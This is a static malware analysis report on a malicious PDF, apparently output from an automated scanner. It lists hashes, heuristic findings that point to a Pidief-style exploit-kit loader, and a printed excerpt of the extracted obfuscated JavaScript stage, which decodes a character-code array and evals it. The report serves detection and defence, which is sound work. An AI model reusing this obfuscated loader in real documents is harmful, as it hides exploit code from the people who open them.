Malicious PDF — malware analysis report

Static analysis result for SHA-256 ce245502905dbab4…

MALICIOUS

PDF

45.3 KB First seen: 2013-08-26
MD5: 517e45966d7eb242e885d6d5fd7d6818 SHA-1: 22b23481eb8ecc2c12914091bf2cedc239b91dfa SHA-256: ce245502905dbab4d4a5f66d7b6670bb2f83438cc23d9f7fe2822f84cf928ac8
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB26D 447 bytes
SHA-256: 386491209f03460533a569318f4dcefb152fdf9dcfbd1ebea1239a5992575ee2
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
svos='';
lrk=('qwrwqr','tit');
e('kemj=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
iaugw=e('String.fr'+kemj.substr(0,10));
judq = e(kemj.substr(10)['replace'](/u/g,','));
e('k=judq.length');
for (i = 0; i < k; i+=2) {
	locy = judq[i+1] + ('erybjkerl',judq[i]);
	svos += iaugw(locy);
}
e(svos);

Open this report in the interactive analyzer, or submit your own file for analysis.